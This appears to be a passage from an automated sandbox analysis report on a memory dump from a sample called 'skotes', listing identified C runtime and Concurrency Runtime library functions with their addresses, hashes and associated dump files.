Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 007A578B
SafeRWList.LIBCONCRT ref: 007A579A

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 99b59cc9d7a9a9c507d86549a020182d296d93b56d705c3810e3f6935024c2fc
Instruction ID: aedff2d712dab888cb4a069a34036064cda3fe1ed3822c64d3e94ae08ce1f2f4
Opcode Fuzzy Hash: 99b59cc9d7a9a9c507d86549a020182d296d93b56d705c3810e3f6935024c2fc
Instruction Fuzzy Hash: 8A31E536701610DFCF159F60C889BAD77A6AFCA710F144279E906AB296DB38AD058B90

Function 007A2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 007A2D0F

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 60a62a3a49b282da89ac1dd2897a3c99486ae802d5a0ad6c1b2a4c9788d68423
Instruction ID: c6270729528ca1b2ad8c3c4ff163d7234a76102c8b4313f0c517105167486764
Opcode Fuzzy Hash: 60a62a3a49b282da89ac1dd2897a3c99486ae802d5a0ad6c1b2a4c9788d68423
Instruction Fuzzy Hash: 60313B75A00309EFCF14DF98C5C4BAE7BB9BB85310F1405AAD901AB357D734A946DBA0

Function 007B13F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 007B13FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 007B1447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 007B147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 007B152A

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 00c080d4b065ff35a9580724019f447fdd849732457af36b119d36f8504befd5
Instruction ID: 534e3dc43108eac10d61667a2a35758e8cf8828156f72feccc181224884dce9d
Opcode Fuzzy Hash: 00c080d4b065ff35a9580724019f447fdd849732457af36b119d36f8504befd5
Instruction Fuzzy Hash: 90317371A00605DFCF14EFA9C495AEDFBB1BF88710B94822DE516A7381DB38AD41CB90

Function 0079BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0079BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0079BBE4
_xtime_get.LIBCPMT ref: 0079BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0079BC13

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 8ecdf41991ada2f69b570c74f77b9a10266491e9c3e45c85a1393350eadb7cda
Instruction ID: 0353687fc318050c3c4c9c49816dd2f58225c7543bd1bafa4354c0ae6a7fb851
Opcode Fuzzy Hash: 8ecdf41991ada2f69b570c74f77b9a10266491e9c3e45c85a1393350eadb7cda
Instruction Fuzzy Hash: F1213272A01119EFDF01EFA4ED859BEB7B9EF09710F104015F501B7291DB38AD019BA0

Function 007A9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 007A9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 007A9CE8
std::bad_exception::bad_exception.LIBCMT ref: 007A9CFE
std::bad_exception::bad_exception.LIBCMT ref: 007A9D6A

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
